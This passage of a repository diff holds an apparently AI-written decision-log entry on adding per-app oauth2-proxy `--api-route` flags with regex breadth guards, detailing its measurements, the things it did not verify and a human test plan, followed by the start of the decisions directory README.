+in my base; `origin/main` at `cdf3e14` does not yet drive the selftest from any gate stage). The
+coordinator asked me to fold the fix into this PR because the defect is in the file I own.
+
+`_selftest()` reached `_cookie_name()` through a bare `next(genexpr)` with **no default**. Delete
+the `--cookie-name` emission — exactly the mutation that assertion exists to catch — and it raises
+`StopIteration`, which escapes `_selftest()` **before its collected `SELFTEST FAIL:` lines are
+printed**. Right verdict, no diagnostics, and it masks every other assertion the same mutation
+broke. Fixed with `next(..., None)` plus an explicit `check()` so a missing flag reports **as a
+named assertion**.
+
+Provoking it turned up **three more instances of the same failure class** in the same block, which
+is why this is not literally a one-line change: `side = fa_containers[1]`,
+`side["env"][0][...]`, and the `fa_svc` lookup all raise rather than assert when the sidecar is
+absent entirely. All four are now None-tolerant, and the two fixtures I added for `--api-route`
+were written the same way from the start. Measured, on throwaway copies:
+
+| Mutation | Before | After |
+|---|---|---|
+| `--cookie-name` emission deleted (origin/main's renderer) | rc 1, **0** `SELFTEST FAIL` lines, 1 `StopIteration` | rc 1, **3** `SELFTEST FAIL` lines, 0 tracebacks |
+| the oauth2-proxy sidecar not appended at all | rc 1, **0** lines, `IndexError` | rc 1, **20** `SELFTEST FAIL` lines, 0 tracebacks |
+
+Note the consequence of his stage change for anyone reading this later: once PR #33 lands,
+`.gitea/workflows/gate.yml:138` runs `./ci/gate.sh || [ "$?" -eq 3 ]`, so **rc 1 is not tolerated
+in CI the way rc 3 is** — a selftest failure will block. Which is the right outcome, and it is why
+a selftest that prints nothing was worth fixing before that lands rather than after.
+
+### Declined, with reasons: the metrics-ingress NetworkPolicy
+
+The coordinator asked for my judgement on bundling Ines Dubois's finding — that #28's metrics
+listener genuinely serves (she measured `http=200`, 10,208 bytes,
+`oauth2_proxy_requests_total{code="302"} 2` via port-forward) but the scrape will be **dropped**,
+because namespace `jackett`'s default-deny has **no `ingress` key at all** and
+`jackett-allow-gateway-ingress` admits `fromEntities: [ingress]` only. The fix belongs in each
+app's own rendered policy, i.e. in my file and my goldens. **I declined to bundle it**, and asked
+for it as the immediate next PR. Five reasons, in the order that decided it:
+
+1. **The real reason is that it is a MODEL question, not a policy to bolt on.** Schema 1.6.0
+   already owns this: `observability.metricsEndpoint` renders the Service port **and** the
+   monitoring-namespace ingress allow. What the model cannot currently express is a **second**
+   metrics endpoint on the same pod belonging to a *sidecar the renderer injected*, rather than to
+   the workload the operator declared. Keying a bespoke policy off the pod label
+   `homelab.keithjackson.dev/auth-mode: forward-auth` works today, but it hardcodes "forward-auth
+   implies a metrics port on 44180" into a policy instead of **deriving** it from the sidecar
+   declaration that is already the single source of that port — the exact "list, don't derive"
+   anti-pattern `oauth2-proxy-cookie-names-distinct` assertion (5) exists to forbid, and which I
+   would be introducing one directory away from the check that forbids it. That deserves its own
+   review, and it is squarely the kind of decision I was brought in to make deliberately.
+2. **Different subject, and it is a trust-boundary change.** Mine is the auth *response code* on
+   API paths (R-IDP-02). That is an ingress allow (R-NET-01/02, R-OBS-01) admitting a new
+   namespace to a new port. Bundling a security-relevant ingress rule into a PR whose headline is
+   `--api-route` is how such a rule gets waved through on the strength of the other half — and this
+   PR already needs a human for a *different* sensitive-path reason, so the second subject would be
+   reviewed in the shadow of the first.
+3. **The conflict argument does not actually apply to my diff.** It assumes I am regenerating five
+   goldens; **I am regenerating two** (jackett, radarr), because the flag renders only where
+   declared. A metrics-ingress policy renders a *different document* — a CiliumNetworkPolicy — in
+   all five. Different hunks, in files git merges independently; and goldens regenerate
+   deterministically from the renderer, so the follow-up rebases onto `main` cleanly. The N-1
+   rebase problem `decisions/README.md` records was two branches appending to **the same hunk**,
+   which this is not. I checked my own diff before answering rather than accepting the premise.
+4. **Every fact in the finding is hers and I have measured none of it** — not the 200/10,208 bytes,
+   not the `wget: download timed out` on `:44180` *and* `:4180`, not the Flux sibling ordering that
+   makes `oauth2-proxy` and `apps-wave-0` unordered. Shipping a security-adjacent rule on wholly
+   inherited evidence, as a footnote in someone else's PR, is precisely what CLAUDE.md §2b exists
+   to stop. In its own PR I would measure it first.
+5. **Sequencing: the PodMonitor is in HER PR #29, not mine.** If I ship the policy and her
+   PodMonitor is reworked or delayed, I have opened an ingress allow for a scraper that selects
+   nothing — a hole with no consumer. The policy is only useful paired with the PodMonitor, which
+   argues for it landing adjacent to that, not here. It also drags in a
+   `KNOWN_EXTERNAL_MONITORS` entry in `conformance/tests/l0-static/servicemonitor-ports-resolve/`,
+   a second conformance interaction on top of the new check this PR already adds.
+
+Diff size is the tiebreaker rather than the argument: **1,245 insertions across 13 files**,
+including a ~400-line new conformance check. I would rather hand a reviewer one subject they can
+actually falsify. **Queued, not dropped** — and if the next person takes it, the model note in (1)
+is the part worth arguing about, not the YAML.
+
+### Which apps got which routes, and the measurement behind each
+
+| App | `auth.apiRoutes` | Evidence |
+|---|---|---|
+| **jackett** | `^/api/` | 2026-09-30, its own access log: **33 × 302 against 2 × 401** on `/api/` paths, and **4 of 6 POSTs answered by the proxy and never reaching Jackett** (upstream field `-`, not `/`), including both `/api/v2.0/server/update` calls |
+| **radarr** | `^/api/`, `^/signalr/` | `^/signalr/`: measured **by me, on the live post-fix pod** — see below. `^/api/`: measured on radarr by the PR #30 author, on the **pre-fix** pod |
+| **pihole** | *(none — deliberate)* | serves no `/api/`; **0** unauthenticated requests in its current pod's 23 h |
+| **sonarr** | *(none — not measured)* | 13,643 log lines, **0** unauthenticated requests. No traffic, not a negative result |
+| **qbittorrent** | *(none — not measured)* | 13,649 log lines, **0** unauthenticated requests. Same |
+
+**`^/signalr/` on radarr is the live proof this change was needed**, and it is the strongest
+evidence in this entry. 23 h after PR #28 deployed, on `radarr-7d55cbffb9-42hmh` (0 restarts), the
+sidecar logged **232 unauthenticated requests across the pod's entire lifetime, and all 232 are the
+same call**: `POST /signalr/messages/negotiate`, browser UA, **302**, upstream `-` (Radarr never saw
+one of them). That is a **left-open browser tab** whose session the cookie rename orphaned, polling
+SignalR forever, silently redirected every time, and **never re-prompting the operator**. It is the
+reported symptom — "reloading never fixes it and I am never re-prompted" — still happening in
+production, on a service nobody was looking at. With 401 the UI's connection breaks **loudly**; the
+operator reloads; `/` matches neither regex, so the reload signs them back in.
+
+**`^/api/` on radarr: included, and here is the honest basis.** The current pod has logged **zero**
+`/api/` traffic, so I did **not** re-measure it. It rests on a measurement of **radarr** recorded in
+the merged PR #30 handoff — its 156 unauthenticated requests were `/api/v3/command` (62),
+`/api/v3/queue/details` (46) and `/signalr/messages/negotiate` (43), i.e. **108 of 156 were
+`/api/v3` XHRs**. That is this app's own evidence, by another engineer, not an analogy to another
+app. I include it because `/api/v3/` is a pure JSON namespace a browser never navigates to (Radarr
+serves its UI at `/`, assets under `/Content/` and `/MediaCover/`), so the breadth risk is nil and
+the measured benefit is 70% of that app's rejection volume.
+
+**Sonarr and qBittorrent were measured and deliberately left alone.** Sonarr is nearly the same
+codebase as Radarr, which is exactly what makes `^/api/` + `^/signalr/` a tempting guess and still a
+guess. I read both pods' logs: **zero** unauthenticated requests, nothing but health probes, because
+nobody has opened either UI since the cookie fix rolled. **That is evidence of no traffic, not
+evidence of no need.** Each catalog file now carries a comment saying so, with the numbers and what
+to measure before adding the routes.
+
+### Goldens and fixtures regenerated
+
+Rendered with the canonical command
+(`python3 catalog/render.py --all catalog -o apps --wave-layout --no-image-automation`).
+**Two goldens changed, not five** — and that is the per-app property proving itself on the real
+tree rather than in a fixture:
+
+    apps/wave-0/jackett.yaml   + --api-route=^/api/
+    apps/wave-1/radarr.yaml    + --api-route=^/api/
+                               + --api-route=^/signalr/
+
+`apps/wave-0/pihole.yaml`, `apps/wave-0/qbittorrent.yaml` and `apps/wave-1/sonarr.yaml` are
+**byte-identical to `main`**. **No L1 fixture needed regenerating**: all three
+`conformance/tests/l1-rendering/*/fixtures/svcdef*.yaml` declare `auth.mode: forward-auth` with no
+`apiRoutes`, so they render no flag and their goldens are unchanged. PR #28 touched 5 goldens and 3
+L1 fixtures because it changed flags on *every* sidecar; this one changes flags only where a
+measurement says so, which is the whole point.
+
+### The L0 decision (and it is a decision, not a default)
+
+**Not** in `oauth2-proxy-cookie-names-distinct`. That check's subject is cookie **identity** — its
+inputs are names and domains, its failure mode is mutual session eviction, its register is the
+shared proxy's claim on the default name. `--api-route` shares none of those. Bundling them would
+make that check's name a lie and couple two unrelated ratchets, so a future api-route decision could
+only be expressed by weakening a *cookie* check. That is PR #28's own stated discipline, applied to
+my change rather than quietly dropped.
+
+**A sibling check, `oauth2-proxy-api-routes-per-app`** (whole-repo scope, so it runs on every gate
+invocation via `ci/l0.sh`'s `--include-scope` union — no bespoke stage, which
+`whole-repo-invariants-wired` would fail). **Nowhere was the wrong answer for exactly one reason:**
+the existing gates cannot see a renderer constant. `render-golden` compares the render to the
+goldens, so a constant **plus regenerated goldens agree with each other while both being wrong** —
+I provoked that and it regenerates with **rc 0**. The new check's assertion (2) compares each
+rendered sidecar against its **own ServiceDefinition**, which is the only reading that fails it.
+
+## What I verified
+
+- **`--api-route` is SINGULAR, read off the PINNED binary rather than taken from the brief.**
+  `podman run --rm quay.io/oauth2-proxy/oauth2-proxy:v7.8.1 --help`:
+  `--api-route strings   return HTTP 401 instead of redirecting to authentication server if token
+  is not valid. Format: path_regex`. There is **no `--api-routes`** in the help output. The PM asked
+  me to verify rather than trust, and that is the result — the singular form is confirmed and the
+  help text also confirms the *semantics* I am relying on (401 instead of a redirect).
+- **The premise, in-cluster, read-only, through the pinned toolbox, `--context k3s-prod` named
+  explicitly** (CLAUDE.md §2b and §5). PR #28 **is** deployed: all five sidecars carry
+  `--cookie-name=_oauth2_proxy_<app>`, `--cookie-domain=<app>.home.keithjackson.dev`,
+  `--cookie-refresh=2m30s` and `--metrics-address=0.0.0.0:44180`. Pods, all **0 restarts**:
+  `jackett-6877fcd9f5-ht9d9`, `pihole-…`, `qbittorrent-5547bdb9bd-zq557`,
+  `radarr-7d55cbffb9-42hmh`, `sonarr-ddf485775-8ckwt` (started 2026-09-30T21:41–21:42Z).
+- **The full post-fix log census, parsed rather than grepped** (oauth2-proxy's access-log format,
+  with `/ping` health probes excluded), over each pod's whole life:
+
+      app            lines   unauth  AuthSuccess  removing session  cookie sig invalid
+      jackett       13,649        0            0                 0                   0
+      pihole        13,649        0            0                 0                   0
+      qbittorrent   13,649        0            0                 0                   0
+      radarr        14,099      232            0                 0                   0
+      sonarr        13,643        0            0                 0                   0
+
+  Three findings, kept separate:
+  1. **The collision fix works.** Jackett was 39 unauthenticated before; it is **0** in 13,612
+     non-probe lines. The eviction fingerprint (`removing session` / `cookie signature not valid`)
+     is **0 on all five**, where radarr previously had 8 and 8.
+  2. **Radarr's 232 are one request.** 100% `POST /signalr/messages/negotiate`, 100% **302**, 100%
+     upstream `-`, browser UA (`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537…`). **Zero `/api/`
+     traffic of any kind** on this pod.
+  3. **0 `AuthSuccess` anywhere**, so nobody has signed in since the restart and `--cookie-refresh`
+     is **still** unexercised — unchanged from PR #28's own caveat.
+- **Only two goldens change, and three are byte-identical to `main`.** `git status` after the
+  canonical render lists exactly `apps/wave-0/jackett.yaml` and `apps/wave-1/radarr.yaml`.
+  `render-golden` is green.
+- **`catalog/render.py --selftest`: PASS**, with new assertions that (a) the `fa` fixture, which
+  declares nothing, renders **no** `--api-route`; (b) a fixture declaring two routes renders exactly
+  those two, in order; (c) the renderer **refuses** all five breadth shapes; (d) four legitimate
+  routes (`^/api/`, `^/signalr/`, `^/api/v3/.*`, `^/api/v2.0/server/update$`) are **accepted** — a
+  ratchet that blocks real API prefixes is a ratchet someone eventually deletes.
+- **The new check: rc 0, 43 assertions, 6 sidecars audited**, with its inventory printed so the
+  reviewer can see what it read:
+  `jackett -> ['^/api/'] | pihole -> (none) | qbittorrent -> (none) | radarr -> ['^/api/',
+  '^/signalr/'] | sonarr -> (none) | crafty -> (none)`.
+- **The check was tested in BOTH directions, on throwaway copies outside the repo**, never by
+  mutating the branch. Each mutation fired its own assertion class and nothing else:
+  - **Pre-change tree** (`git archive origin/main` + the test dropped in): **rc 1, 11 failures** —
+    no service declares routes, the renderer emits none, the renderer does not read `auth.apiRoutes`,
+    the pattern is absent from both renderer and schema, and the shipped renderer accepts all five
+    breadth shapes.
+  - **pihole's golden hand-edited** to carry a route it never declared: **rc 1, 2 failures** (the
+    catalog↔golden mismatch, and "declares nothing must render nothing").
+  - **radarr's golden widened** to `--api-route=^/`: **rc 1, 2 failures** (unanchored, plus the
+    mismatch).
+  - **Renderer turned into a constant and EVERY golden regenerated to match: the regen exits 0** —
+    i.e. `render-golden` is **happy** — and the new check exits **1 with 15 failures**, naming
+    pihole, qbittorrent, radarr and sonarr individually. **This is the case that justifies the
+    check's existence** and I provoked it rather than argued it.
+  - **Schema `items.pattern` deleted**: **rc 1, 1 failure** — the three-surface drift guard.
+  - **Unmutated control: rc 0.**
+- **The selftest diagnostics fix was PROVOKED, not reasoned.** Both mutations above were run
+  against throwaway copies of the renderer outside the repo (`origin/main`'s `render.py` for the
+  "before" column, mine for the "after"), never by mutating the branch. The pre-fix StopIteration
+  and the post-fix 3-and-20 named assertions are quoted from those runs. `--selftest` on the
+  unmutated branch: **PASS**. Goldens after the fix: **unchanged** (it touches only `_selftest()`).
+- **The check is selected by the whole-repo union.** `./conformance/run.sh --layer l0 --requirements
+  r-nosuchreq-99 --include-scope whole-repo --print-selection` lists
+  `tests/l0-static/oauth2-proxy-api-routes-per-app` among **21** tests (it was 20), i.e. it runs
+  even when the touched-requirement filter matches nothing.
+- **THE SCHEMA GUARD IS PROVEN WITH THE PINNED VALIDATOR `ci/l0.sh` ACTUALLY DRIVES**, not by
+  reading the pattern. `./schemas/validate.sh` (`check-jsonschema, version 0.29.4`) against seven
+  throwaway ServiceDefinitions written outside the repo:
+
+      good            ["^/api/", "^/signalr/"]   rc 0
+      bad-root        ["^/"]                     rc 1  apiRoutes ... does not match
+      bad-dotstar     ["^/.*"]                   rc 1  apiRoutes ... does not match
+      bad-unanchored  ["/api/"]                  rc 1  apiRoutes ... does not match
+      bad-alt         ["^/api/|^/"]              rc 1  apiRoutes ... does not match
+      bad-everything  [".*"]                     rc 1  apiRoutes ... does not match
+      bad-mode        ["^/api/"] on mode: oidc   rc 1  const 'forward-auth'
+
+  So a too-broad regex is rejected **where a human types it**, on every gate run, by the real tool
+  — and the shape invariant fires too.
+- **THE RENDERER'S REFUSAL REACHES `render-golden` AS A READABLE FAILURE, NOT A TRACEBACK.** With
+  `^/signalr/` swapped for `^/` in a *copy* of the catalog (outside the repo), both invocation
+  shapes exit **rc 1 with 0 tracebacks** — the single-SD form and `--all <dir> -o <dir>
+  --wave-layout --no-image-automation`, which is the one `ci/render-golden.sh` drives:
+
+      render.py: radarr: auth.apiRoutes entry '^/' is not an anchored path regex. Each entry
+      must start with '^/' and continue with literal path characters (e.g. '^/api/',
+      '^/signalr/', '^/api/v3/.*'). ... A too-broad --api-route answers a PAGE LOAD with 401, so
+      a logged-out operator sees a bare error page and is never offered a sign-in: the service
+      looks permanently broken rather than merely unauthenticated.
+
+  So the breadth guard is gated by `render-golden` even on a run where the schema stage skipped,
+  and the operator is told *why* rather than handed a stack trace.
+- **The schema's new shape invariant.** A non-empty `auth.apiRoutes` requires
+  `auth.mode: forward-auth`, because the flag renders onto the per-app sidecar and no sidecar exists
+  for `oidc`/`native`/`none` — declaring it elsewhere would be a **silent no-op**, which is the
+  failure class this repo keeps paying for.
+- **Gate:** toolbox `./ci/gate.sh` with the two-mount ENGINE shim — exit code and stage list in the
+  next section, because it is not a pass and that belongs there.
+- **No mutating cluster access.** `kubectl get/logs/jsonpath` only, `--context k3s-prod` named on
+  every call. No `apply`/`edit`/`patch`, no `flux reconcile`. No Secret `.data` or `.stringData` was
+  read or printed; I did not need to touch a Secret at all this session. The one container I ran
+  locally was the pinned oauth2-proxy image, to read its `--help`.
+- **`~/.git-credentials` was never read.** PR creation used `git credential fill`, which does not
+  echo the value.
+
+## What I did NOT verify
+
+- **NO BROWSER ROUND-TRIP. BY ANYONE. FOR THIS FLAG.** This is the most important line here. The
+  302/401 split, the dropped POST bodies and the orphaned SignalR poll are all read from access
+  logs; that a **401 repairs** the operator's experience is reasoned from HTTP semantics, not
+  watched. Nobody has added a Jackett indexer or recovered a Radarr tab through this
+  configuration. The human test below is the first real evidence this change will ever have.
+- **Local gate: rc 3 (UNDETERMINED), not 0.** Green: `spec-immutability`, `decisions-log`, `lint`,
+  `l0`, `render-golden`, `l1`. **Skipped:** `gitea-settings` (no `SETTINGS_API_TOKEN` locally) and
+  **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset). Nothing FAILED; nothing runtime was certified
+  either. **rc 3 is UNDETERMINED, never green.**
+- **MY LOCAL `approval-policy: green` WAS MEANINGLESS, AND I ALMOST REPORTED IT AS EVIDENCE.**
+  `ci/approval-policy.sh:47` reads `GITHUB_EVENT_NAME`, which is unset outside CI, so the stage
+  short-circuits at line 50: `ok "not a pull_request event (event='none') — approval policy N/A"`.
+  **A clean local gate therefore CANNOT catch a sensitive-path problem — structurally, not by
+  accident.** Flagged to me by the coordinator from Ines Dubois's round, and I verified it by
+  re-running the gate with `GITHUB_EVENT_NAME=pull_request PR_NUMBER=34`: the stage then
+  **evaluates** and fails closed on the missing token —
+
+      [fail] no SETTINGS_API_TOKEN — cannot read this PR's changed files or its reviews.
+      [fail] stage approval-policy: FAIL
+      [fail] approval-policy: a sensitive change lacks a non-author approval -> blocks merge
+      [fail] MERGE GATE: BLOCKED        (rc 1, not 3)
+
+  — while **every other stage stays green** (`spec-immutability`, `decisions-log`, `lint`, `l0`,
+  `render-golden`, `l1`). That is the useful result: it bounds the CI failure to this one stage
+  rather than leaving "something is red" as the whole report. Fail-closed is correct here and
+  deliberate: unlike `gitea-settings`, where a missing credential is a lock-out, a skip of this
+  stage would be a bypass (CLAUDE.md §1).
+- **CI, read from each commit's `/statuses` rather than from a tick.** Both contexts report, and
+  **only one of them runs**. Identical on `99560c2d`, `df1b25b6` and `f1d16f44`:
+
+      gate / gate (pull_request)         state=failure   desc='Failing after ~1m43-1m45s'
+      gate / conformance (pull_request)  state=success   desc='Has been skipped'
+
+  **That second line is §2b's trap in the wild**: a *skipped* Gitea job reports
+  `state=success`. The conformance job did not execute, so its green tick certifies nothing —
+  read the description, not the colour. The duration is given as a range on purpose: it differs
+  by a second or two per run, and pinning one number inside the file whose commit triggers the
+  next run is a self-reference, not a measurement. The load-bearing fields are the **state** and
+  the **description**, and those are stable across all three.
+
+  Worth recording that the **same context changed its answer over time**: on the first push it
+  briefly read `state=pending desc='Blocked by required conditions'` — still waiting on the gate
+  job it depends on — and resolved to `success` only once that job settled. So sampling a status
+  once can show either a pending **or** a green tick for a job that never executed.
+  **I could NOT read the CI job log to confirm the failing stage from CI's
+  own output**: this Gitea's `/api/v1/repos/{owner}/{repo}/actions/runs` endpoint answers
+  **404** (only `/actions/tasks` exists, which lists tasks without logs), and
+  `/actions/jobs/{task_id}/logs` answers `404 Not found` for the task id. So my attribution of the
+  CI failure to `approval-policy` rests on the local event-set reproduction above plus the
+  sensitive-path rule, **not** on CI's own log. That is weaker evidence than PR #28 had and I am
+  naming it rather than borrowing its wording.
+- **Branch protection and the runner, RE-MEASURED this session against the live API** (§2b),
+  not inherited from CLAUDE.md §2's table:
+
+      GET /repos/Home-Network/home-network-k3s-impl/branches/main
+        protected              True
+        user_can_push          False
+        enable_status_check    True
+        status_check_contexts  ['gate / gate (pull_request)']
+        required_approvals     1
+      GET /admin/actions/runners
+        id=1 name=incluster-dind status=online
+
+  So `required_approvals=1` applies to **every** PR here regardless of path — this needs a human
+  even without the sensitive-path rule. I did **not** provoke a rejected push to `main` this
+  session; `user_can_push: False` is the API's word, which is exactly the weaker form of evidence
+  CLAUDE.md §2 warns about, and I did not strengthen it.
+- **`^/api/` ON RADARR IS NOT MY MEASUREMENT.** It is PR #30's, taken on the **pre-fix** pod. The
+  current pod has logged **zero** `/api/` traffic in 23 h, so I could not reproduce it. I judge the
+  breadth risk nil (`/api/v3/` is pure JSON; the UI is at `/`), but if someone wants a strictly
+  self-measured configuration, drop `^/api/` and keep `^/signalr/` — the 232 are entirely SignalR.
+- **SONARR AND QBITTORRENT ARE UNMEASURED, NOT CLEARED.** Zero traffic in 23 h is zero evidence.
+  qBittorrent's WebUI drives everything through `/api/v2/` and is *plausibly* affected the same way
+  Jackett is; Sonarr is nearly Radarr's codebase. **Both are left alone on purpose** — plausibility
+  is what put a renderer constant on the table in the first place. Expect to add `^/api/` to
+  qBittorrent and `^/api/` + `^/signalr/` to Sonarr once someone opens those UIs and records the
+  split. **This PR does not fix them.**
+- **PiHole is asserted to serve no `/api/` on inherited evidence, not mine.** Its log shows 0
+  unauthenticated requests, which says nothing about what paths it serves. The claim comes from
+  PR #28/#30. Note the pinned `update.range` is `>=2024.0.0`, and PiHole v6 *does* introduce a REST
+  API at `/api/` — so if PiHole is ever upgraded across that line, this needs re-measuring. It is
+  still correct to declare nothing today, because declaring an unmeasured route is the mistake.
+- **`--cookie-refresh=2m30s` has STILL never been exercised** — 0 `AuthSuccess` on all five pods.
+  PR #28 named this as the fix most likely to need a second pass and it remains unobserved. My
+  change does not touch it, but a sign-in during the human test below will exercise both at once,
+  so a failure there must be attributed carefully.
+- **The regexes are not validated against the apps' real route tables.** I assert `/api/v3/` and
+  `/signalr/` are JSON/RPC namespaces a browser never navigates to from Radarr's and Jackett's
+  observed traffic and from how those UIs are built — **not** from reading their routing code or
+  enumerating their endpoints. A path I have not thought of that matches `^/api/` and *is*
+  browser-navigated would 401.
+- **`OPTIONS` preflight and non-browser clients are unconsidered.** `--skip-auth-preflight` exists
+  and is not set; nothing in these logs shows a CORS preflight, and Sonarr/Radarr talk to Jackett
+  **directly on `:9117`**, bypassing the proxy entirely — so I do not expect impact. Unverified.
+- **The live pods do not carry this change and nothing re-measures that they will.** git is not the
+  cluster (§2b). **Merging is what deploys**, and it will roll **jackett** and **radarr** only
+  (`strategy: Recreate` on RWO Longhorn volumes, so a brief gap per app, and radarr/sonarr lose
+  direct `:9117` access to Jackett while its pod restarts). Existing sessions survive — no cookie
+  flag changed — so unlike PR #28 nobody is signed out.
+- **No L2/L3 assertion reads any of this.** There is no runtime check that a `/api/` request to a
+  gated app answers 401, and I did not write one; `CLUSTER_AVAILABLE` is unset so it could not run
+  in CI anyway. The whole guard is static.
+- **`catalog/render.py --selftest` is UNGATED IN MY BASE, and I did not wire it.** Desmond's PR #33
+  does that (`ci/render-golden.sh`) and is in review, not merged — `origin/main` at `cdf3e14`
+  contains no stage that drives it, which I checked rather than assumed (`grep -n selftest
+  ci/render-golden.sh` → no match). **So until #33 lands, my new selftest assertions are
+  dev-time only**, and the *gated* half of my breadth ratchet is the schema `pattern` (via
+  `ci/l0.sh`'s schema stage), the renderer's own `raise` (via `render-golden`), and the new L0
+  check. I deliberately did not wire the selftest myself: #33 already does it, and duplicating it
+  here would collide with his branch in the one file he owns. Note the two PRs are **independent
+  but complementary** — his makes the stage real, mine makes its output readable when it fires.
+- **I did NOT verify PR #33's own claims.** The 106-assertion count, the
+  selftest→stage→`gate.sh`→`BLOCKED` propagation chain, and the `--cookie-refresh 2m30s → 10m`
+  mutation being caught by the selftest but not by `render-golden` are all his measurements,
+  relayed to me by the coordinator. I reproduced only the StopIteration defect itself, because that
+  is the part I was asked to fix. If his branch is reworked, nothing in mine depends on it.
+- **The new check does not read the spec repo** and asserts nothing about `../home-network-k3s`
+  (R-TEST-06, read-only). `schemas/renderer-contract.md` is updated in **this** repo only; the
+  canonical spec `docs/13-service-catalog.md` is **not** updated, because it is immutable from here.
+  Someone with spec write access should mirror `auth.apiRoutes` into docs/13 and docs/15.
+- **THE OAUTH2-PROXY SIDECARS' METRICS ARE STILL UNSCRAPABLE, AND THIS PR DOES NOT FIX IT.** See
+  the declined-bundle section above. #28 shipped `--metrics-address` as a prerequisite and said
+  plainly that it was not scraped; Ines has now measured that the listener **serves** and that the
+  scrape is **dropped by each app namespace's default-deny**. Nothing in my change touches that.
+  Anyone reading this entry as "the fleet gates are observable now" is wrong, and the next PR is
+  where that changes.
+- **Alternation is refused, and that is a judgement I may have to revisit.** No app in this catalog
+  needs it, and the flag is repeatable — but if some future app genuinely needs a regex the ratchet
+  rejects, the fix is to widen the pattern **with a reason** on all three surfaces at once, not to
+  delete the ratchet on one.
+- **CI status: two contexts, and only one of them ran.** Quoted in the PR body and in the report to
+  the PM. `approval-policy` **fails by design** until a non-author approving review exists, because
+  the diff touches `conformance/**`, which `infra/gitea/approval-policy.json` lists as sensitive
+  ("the tests and the harness; changing them changes what green MEANS"). That is CLAUDE.md §1
+  working, not a defect. `required_approvals=1` applies to every PR here regardless of path, so this
+  needs a human either way.
+
+### The human test — and how to tell a too-broad regex from a working one
+
+After merge, wait for **new** pod names at 2/2 in `jackett` and `radarr`.
+
+1. **The breadth test FIRST, before anything else, from a signed-out browser** (private window).
+   Open `https://radarr.home.keithjackson.dev/` and `https://jackett.home.keithjackson.dev/UI/Dashboard`.
+   **Each must bounce through Keycloak and land on the app's UI.** If either shows a bare
+   `401 Unauthorized` instead of a sign-in, **the regex is too broad — stop and revert.** That is
+   the one failure this change can introduce, and it is the only test that can see it. A working
+   regex is invisible on a page load; a broken one is total and immediate.
+2. **Jackett, the original report:** signed in, *+ Add indexer* → pick one → *Configure* → *Okay*.
+   **It must save.** Previously 4 of 6 POSTs never reached Jackett at all.
+3. **Radarr, the live symptom:** open Radarr and leave the tab open. DevTools → Network, filter
+   `signalr`. Today those negotiate calls are **302** and the UI never complains. They must now be
+   **200** while signed in — and if the session is ever lost, **401**, with the UI showing a visible
+   connection error instead of polling silently forever.
+4. **The loud-failure test:** in DevTools, delete the `_oauth2_proxy_radarr` cookie and let the tab
+   poll. The negotiate call must answer **401** and Radarr must *show* a problem. Then **reload** —
+   `/` matches neither regex, so the reload must sign you back in silently. That round trip is the
+   entire fix: fail loudly on the API, recover on the page load.
+5. **The six-minute test (PR #28's open item, still open):** stay on a dashboard for >6 minutes,
+   then save something. That exercises `--cookie-refresh=2m30s` past the 300 s access-token cliff.
+   If it fails, suspect the realm's refresh/SSO-idle timeouts — not this change.
+6. **If something still fails, it must now fail LOUDLY.** A silent success-looking no-op means the
+   change did not take: check the running pod's args for `--api-route` before assuming anything
+   else.

decisions/ARCHIVE.sha256

@@ -0,0 +1 @@
+b16e8cb7ea12720bc7c3a77a496211e3204534c5e6600ba748fb9ab14fa21c26  DECISIONS-LOG.md

decisions/README.md

@@ -0,0 +1,101 @@
+# `decisions/` — the handoff log, one file per entry
+
+This directory **is** the decision log. `../DECISIONS-LOG.md` is the frozen archive of
+everything written before 2026-09-29 and is never edited again (see "The archive is
+frozen" below).
+
+## Why this exists
+
+`DECISIONS-LOG.md` was append-only in a single file, and every agent appended to its
+**tail**. Two branches that both append hit the same last hunk, so git cannot
+auto-merge them: the second one to be reviewed conflicts, and so does the third, and
+the fourth. Measured on 2026-09-29: **four of the five open PRs were unmergeable, and
+`DECISIONS-LOG.md` was the only conflicting file in all four**:
+
+    #22 fix/crafty-oauth2-proxy-signin      CONFLICT (content): DECISIONS-LOG.md
+    #20 feat/conformance-job-template       CONFLICT (content): DECISIONS-LOG.md
+    #19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
+    #18 feat/conformance-runner-image       CONFLICT (content): DECISIONS-LOG.md
+    #17 feat/ci-is-the-approver             clean  (it touched no log entry)
+
+Nothing was wrong with any of those changes. The log's *storage format* serialised work
+that was otherwise parallel, and it got worse with every concurrent branch: N branches
+produce N-1 rebases, each of which invalidates any gate run that preceded it.
+
+The fix is the obvious one for concurrent appenders: **stop sharing a file**. Each
+handoff is its own file. Two agents writing handoffs touch disjoint paths, so there is
+nothing for git to merge and nothing to conflict. This scales to any number of parallel
+branches with zero coordination — which is the point, since the agents are deliberately
+isolated from each other in separate worktrees and cannot coordinate.
+
+There is deliberately **no index file** and no counter. An index would be a shared
+mutable file — exactly the thing that just failed — and a sequence number would have
+two agents racing for `0043`. The directory listing is the index.
+
+## Writing an entry
+
+One file per handoff, named:
+
+    decisions/YYYY-MM-DD-<slug>.md
+
+`<slug>` is lowercase `[a-z0-9-]`. **Use your branch name's last segment** — it is
+already unique per unit of work, which is precisely the property the filename needs.
+A branch `fix/crafty-oauth2-proxy-signin` handed off on 2026-09-29 writes:
+
+    decisions/2026-09-29-crafty-oauth2-proxy-signin.md
+
+The file is YAML frontmatter followed by three required sections:
+
+```markdown
+---
+date: 2026-09-29
+branch: fix/crafty-oauth2-proxy-signin
+title: The Keycloak gate works — Crafty's own login was the wall
+---
+
+## What changed
+
+Prose. What you actually did, and why.
+
+## What I verified
+
+The measurements, with their numbers. Quote the field you read, not the prose you
+believed. Name the gate result and its exit code.
+
+## What I did NOT verify
+
+Everything else. An honest "UNVERIFIED" is worth more than an optimistic "green" —
+this repo has been burned by the difference more than once.
+```
+
+All three headings are **required and enforced** (`ci/decisions-log.sh`). They are
+CLAUDE.md §7's contract; making them a checked structure is what stops an entry
+degrading into "done ✅".
+
+## Reading the log
+
+The whole log, oldest first:
+
+    ls decisions/[0-9]*.md | sort
+
+The current PM handoff — the newest entry. Ties within a day are broken by what landed
+on `main` last, which is the honest answer, so ask git rather than the filename:
+
+    git log --diff-filter=A --format='%H' --name-only -- 'decisions/[0-9]*.md' \
+      | grep '^decisions/' | head -1
+
+For a quick skim of who said what:
+
+    grep -H '^title:' decisions/[0-9]*.md | sort
+
+## The archive is frozen
+
+`DECISIONS-LOG.md` is **read-only history**. Its SHA-256 is pinned in
+`decisions/ARCHIVE.sha256` and `ci/decisions-log.sh` fails the merge gate if the file
